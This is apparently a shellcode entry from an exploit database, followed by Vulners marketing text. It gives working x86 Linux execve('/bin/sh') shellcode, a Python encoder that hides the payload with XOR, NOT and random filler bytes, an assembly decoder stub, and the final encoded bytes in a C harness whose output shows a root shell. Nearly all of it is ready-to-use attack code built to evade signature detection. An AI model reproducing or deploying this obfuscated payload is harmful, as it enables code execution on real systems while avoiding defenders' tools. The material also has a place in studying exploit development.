# Date: 4th October 2019
# Shellcode Author: @bolonobolo - https://bolonobolo.github.io
# Tested on: Linux x86
######################## execve.asm ###############################
global _start
section .text
_start:
; put NULL bytes in the stack
xor eax, eax
push eax
//bin/sh
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
; push NULL in the EDX position
push eax
mov edx, esp
; push in the stack and then move it in ECX
push ebx
mov ecx, esp
; call the execve syscall
mov al, 11
int 0x80
###############################################################
compile the execve-stack
$ nasm -f elf32 execve.asm
$ ld -N -o sh execve.o
$ echo;objdump -d ./execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g';echo
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
########################## encoder_mixer.py ####################
#!/usr/bin/python
# Python Encoder (XOR + NOT + Random)
import random
green = lambda text: '\033[0;32m' + text + '\033[0m'
shellcode =
("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = ""
# The end char is 0xaa
end = "\\xaa"
print 'Encoded shellcode ...'
for x in bytearray(shellcode) :
if x < 128:
# XOR Encoding with 0xDD
x = x^0xDD
# placeholder for XOR is 0xbb
encoded += '\\xbb'
encoded += '\\x'
encoded += '%02x' % x
else:
# NOT encoding
x = ~x
# placeholder for NOT is 0xcc
encoded += '\\xcc'
encoded += '\\x'
encoded += '%02x' % (x & 0xff)
# 0xaa is 170 in dec and the others placeholders are > of 170
encoded += '\\x%02x' % random.randint(1,169)
print green("Shellcode Len: %d" % len(bytearray(shellcode)))
print green("Encoded Shellcode Len: %d" % len(bytearray(encoded)))
encoded = encoded + end
print encoded
nasm = str(encoded).replace("\\x", ",0x")
nasm = nasm[1:]
# end string char is 0xaa
print green("NASM version:")
# end = end.replace("\\x", ",0x")
print nasm
###################################################################
root@root:$ ./encoder_mixer.py
Encoded shellcode ...
Shellcode Len: 25
Encoded Shellcode Len: 300
\xbb\xec\x26\xcc\x3f\x4a\xbb\x8d\x3d\xbb\xb5\x44\xbb\xb3\x5b\xbb\xf2\x65\xbb\xae\x09\xbb\xb5\x2a\xbb\xb5\x2b\xbb\xf2\x1a\xbb\xf2\x4d\xbb\xbf\x9a\xbb\xb4\x61\xcc\x76\x56\xcc\x1c\x59\xbb\x8d\x56\xcc\x76\x6c\xcc\x1d\x94\xbb\x8e\x02\xcc\x76\xa5\xcc\x1e\x6d\xcc\x4f\xa3\xbb\xd6\x22\xcc\x32\x18\xcc\x7f\x7b\xaa
NASM version:
0xbb,0xec,0x26,0xcc,0x3f,0x4a,0xbb,0x8d,0x3d,0xbb,0xb5,0x44,0xbb,0xb3,0x5b,0xbb,0xf2,0x65,0xbb,0xae,0x09,0xbb,0xb5,0x2a,0xbb,0xb5,0x2b,0xbb,0xf2,0x1a,0xbb,0xf2,0x4d,0xbb,0xbf,0x9a,0xbb,0xb4,0x61,0xcc,0x76,0x56,0xcc,0x1c,0x59,0xbb,0x8d,0x56,0xcc,0x76,0x6c,0xcc,0x1d,0x94,0xbb,0x8e,0x02,0xcc,0x76,0xa5,0xcc,0x1e,0x6d,0xcc,0x4f,0xa3,0xbb,0xd6,0x22,0xcc,0x32,0x18,0xcc,0x7f,0x7b,0xaa
#################### decoder_mixer.asm ############################
global _start
section .text
_start:
jmp short call_decoder
decoder:
; the sequence of the chars in shellcode is:
; placehlder,obfuscated shellcode char,random char
pop esi
lea edi, [esi]
xor eax, eax
xor ebx, ebx
switch:
mov bl, byte [esi + eax]
cmp bl, 0xaa
jz shellcode
cmp bl, 0xbb
jz xordecode
jmp notdecode
xordecode:
mov bl, byte [esi + eax + 1]
mov byte [edi], bl
xor byte [edi], 0xDD
inc edi
add al, 3
jmp short switch
notdecode:
mov bl, byte [esi + eax + 1]
mov byte [edi], bl
not byte [edi]
inc edi
add al, 3
jmp short switch
call_decoder:
call decoder
shellcode: db
0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
############################### shellcode ############################
$ nasm -f elf32 decoder_mixer.asm
$ ld -o decoder decoder_mixer.o
$ objdump -d ./decoder_mixer|grep '[0-9a-f]:'|grep -v 'file'|cut -f2
-d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/
/\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x31\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\xaa\x74\x27\x80\xfb\xbb\x74\x02\xeb\x0e\x8a\x5c\x06\x01\x88\x1f\x80\x37\xdd\x47\x04\x03\xeb\xe3\x8a\x5c\x06\x01\x88\x1f\xf6\x17\x47\x04\x03\xeb\xd6\xe8\xca\xff\xff\xff\xbb\xec\x73\xcc\x3f\x9d\xbb\x8d\x51\xbb\xb5\x1b\xbb\xb3\x22\xbb\xf2\x79\xbb\xae\x8e\xbb\xb5\x61\xbb\xb5\x3d\xbb\xf2\x6e\xbb\xf2\x9f\xbb\xbf\x10\xbb\xb4\x89\xcc\x76\x2d\xcc\x1c\x2f\xbb\x8d\x91\xcc\x76\x7e\xcc\x1d\x92\xbb\x8e\x80\xcc\x76\x7b\xcc\x1e\xa7\xcc\x4f\x7f\xbb\xd6\x2b\xcc\x32\x24\xcc\x7f\x37\xaa"
## Put the hex code in a C script
root@root:# cat shellcode.c
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x31\x5e\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xfb\xaa\x74\x27\x80\xfb\xbb\x74\x02\xeb\x0e\x8a\x5c\x06\x01\x88\x1f\x80\x37\xdd\x47\x04\x03\xeb\xe3\x8a\x5c\x06\x01\x88\x1f\xf6\x17\x47\x04\x03\xeb\xd6\xe8\xca\xff\xff\xff\xbb\xec\x73\xcc\x3f\x9d\xbb\x8d\x51\xbb\xb5\x1b\xbb\xb3\x22\xbb\xf2\x79\xbb\xae\x8e\xbb\xb5\x61\xbb\xb5\x3d\xbb\xf2\x6e\xbb\xf2\x9f\xbb\xbf\x10\xbb\xb4\x89\xcc\x76\x2d\xcc\x1c\x2f\xbb\x8d\x91\xcc\x76\x7e\xcc\x1d\x92\xbb\x8e\x80\xcc\x76\x7b\xcc\x1e\xa7\xcc\x4f\x7f\xbb\xd6\x2b\xcc\x32\x24\xcc\x7f\x37\xaa";
void main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
root@root# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
root@root# ./shellcode
Shellcode Length: 132
# whoami
root
# exit
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation